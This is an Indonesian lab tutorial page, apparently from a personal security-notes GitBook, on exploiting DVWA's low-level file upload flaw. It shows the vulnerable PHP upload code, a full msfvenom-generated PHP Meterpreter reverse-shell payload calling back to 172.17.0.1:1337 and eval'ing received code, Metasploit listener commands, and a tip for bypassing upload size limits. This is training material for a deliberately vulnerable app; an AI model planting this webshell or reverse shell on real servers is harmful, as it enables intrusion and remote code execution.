📃
Anggi's Notes
  • Tentang Penulis
  • Preambule
  • Tutorial Red Team Area (General)
    • Tutorial Setup VirtualBox
    • Tutorial Setup Kali Linux pada VirtualBox
    • Network Adapter Type pada Virtual Box
    • Tutorial Port Forwarding Pada Virtual Box
    • Mempercepat update/upgrade/install Kali Linux
    • Networking in a Nutshell
    • Linux in A Nutshell
    • Linux Command Intro
    • VA-PT Cheatsheet
    • Penetration Testing Guide & Checklist
    • Pentesting Web checklist
    • NMAP Cheatsheet
    • Bind vs Reverse Shell Concept
    • Reverse Shell Cheatsheet
    • Linux TTY Shell Cheat Sheet
    • Menaikkan Common Shell ke Meterpreter
    • Metasploit Cheatsheet
      • msfvenom
      • searchploit
    • Metasploitable-2
    • Metasploitable-3
    • Linux Privilege Escalation
      • Linux Privilege Escalation with Misconfigured /etc/passwd
      • Linux Privilege Escalation with SUID
      • Linux Privilege Escalation with Misconfigured Sudo
      • Linux Privilege Escalation with MSF
    • DVWA
      • Brute Force
        • Low
        • Medium
        • High
      • Command Injection
        • Low
        • Medium
        • High
      • Local File Inclusion
        • Low
        • Medium
        • High
      • File Upload Vulnerability
        • Low
        • Medium
        • High
      • Cross Site Scripting (XSS)
        • Reflected
          • Low
          • Medium
          • High
        • Stored
          • Low
          • Medium
          • High
        • DOM
          • Low
          • Medium
          • High
      • SQL Injection
        • Non Blind
          • Low
          • Medium
          • High
        • Blind
          • Low
          • Medium
          • High
      • CSRF
        • Low
        • Medium
        • High
    • Pentesting Report Sample
    • Tutorial Penggunaan ZAP
    • Windows VA/Audit
      • DetExploit
      • HardeningKitty
      • Tutorial Installasi OWASP ZAP pada Windows OS
    • Linux VA/Audit dengan Lynis
    • Mobile Security Framework (MobSF) Windows Docker
  • Tutorial Red Team Area (Teknik Windows Attack )
    • Reconnaissance Techniques
    • Windows Red Team Exploitation Techniques
    • Windows Red Team Defense Evasion Techniques
  • Tutorial Blue Team Area
    • Merancang SOC
    • IR Playbook
    • Blue Team Opensource Online Tools
    • Wireshark Query Cheatsheet
  • Temuan Celah Keamanan
    • LFI (Directory Traversal) di redacted.co.id
    • Kredensial Database dan Azure Leaks pada redacted.com
    • HTML Injection di Tokopedia
    • 🤪4300$ Bounty from Opensource automate recon tools, why not?
    • I hacked Mastercard 4 times? But How?
    • LFI dan RCE di aset redacted.com
    • FTPd DOS di aset redacted.co.id
    • Gitlab SSRF di redacted.com
    • Firebase Android database Takeover
    • RCE di 11 Subdomain Dell
    • SSRF di redacted.com
    • Reflected XSS di CelticPipes
    • Git Disclosure di redacted.co.id
    • Open Redirection+XSS pada Private Program Bugcrowd
    • Rails Debug Mode Enabled pada redacted.com
Powered by GitBook
On this page
  • Mencari Informasi
  • Melakukan Serangan (Upload Webshell)
  • Melakukan Serangan (Msfvenom+Metasploit)

Was this helpful?

  1. Tutorial Red Team Area (General)
  2. DVWA
  3. File Upload Vulnerability

Low

File Upload level Low on DVWA

Di bawah ini adalah source-code dari file upload level low di DVWA.

vulnerabilities/upload/source/low.php
<?php
​
if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
​
    // Can we move the file to the upload folder?
    if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
        // No
        echo '<pre>Your image was not uploaded.</pre>';
    }
    else {
        // Yes!
        echo "<pre>{$target_path} succesfully uploaded!</pre>";
    }
}
​
?>

Mencari Informasi

Terdapat form untuk melakukan upload file. Ketika saya coba meng-upload file kosong dengan ekstensi .php, maka file tersebut akan terkirim dan bisa diakses.

Terlihat bahwa tidak ada validasi untuk .php di sini, sehingga kita bisa menfaatkannya untuk menjalankan shell berbahaya.

Melakukan Serangan (Upload Webshell)

Webshell merupakan sekumpulan script yang mampu mengeksekusi perintah shell dalam sebuah web server. Web Shell ini umumnya akan ditanam oleh para hacker dengan memanfaatkan celah keamanan pada website untuk selanjutnya dimanfaatkan untuk berbagai kepentingan si penanam shell. Ada banyak jenis-jenis web shell yang digunakan, kemampuannya pun berbeda-beda. Dibawah ini disediakan 2 jenis webshell yaitu webshell sederhana yang membuat backdoor command execution sederhana dan yang memiliki banyak fitur.

Langkah berikutnya lakukan pengunggahan. Apabila terdapat pembatasan maksimal file, bypass dengan cara mengedit MAX FILE pada request (dengan Burpsuite).

Melakukan Serangan (Msfvenom+Metasploit)

Pertama-tama, saya akan membuat shell-nya terlebih dahulu menggunakan tool msfvenom.

Sebenarnya kita bisa saja menggunakan simple web shell, tetapi saya mencoba mengajak anda untuk menggunakan tool sebagai pengalaman baru.

msfvenom -p php/meterpreter/reverse_tcp lhost=172.17.0.1 lport=1337

Keterangan:

  • php/meterpreter/reverse_tcp adalah payload yang akan saya gunakan.

  • lhost berisi IP dari saya (sebagai peretas).

  • lport berisi port yang akan saya gunakan.

Nanti akan muncul script PHP kurang lebih seperti berikut:

/*<?php /**/ error_reporting(0); $ip = '172.17.0.1'; $port = 1337; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die();

Selanjutnya, adalah membuat file (contohnya shell.php) dan memasukan script tersebut dengan menghilangkan komentar di awal (tanda /*).

shell.php<?php /**/ error_reporting(0); $ip = '172.17.0.1'; $port = 1337; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die();

Langkah kedua adalah meng-upload file tersebut ke web DVWA.

Langkah ketiga adalah menyiapkan PC peretas untuk menjadi listener bagi shell yang telah dibuat dengan menggunakan metasploit.

msfconsolemsf5 > use multi/handlermsf5 exploit(multi/handler) > set payload php/meterpreter/reverse_tcpmsf5 exploit(multi/handler) > set lhost 172.17.0.1msf5 exploit(multi/handler) > set lport 1337msf5 exploit(multi/handler) > run

Langkah keempat adalah mengakses shell tersebut. Dan jika berhasil kita bisa me-remote server tersebut seperti gambar di bawah ini.

Selamat!

Happy Hacking! 🍻

PreviousFile Upload VulnerabilityNextMedium

Last updated 3 years ago

Was this helpful?

192B
shell.php
Simple shell
185KB
b374k.php
b374k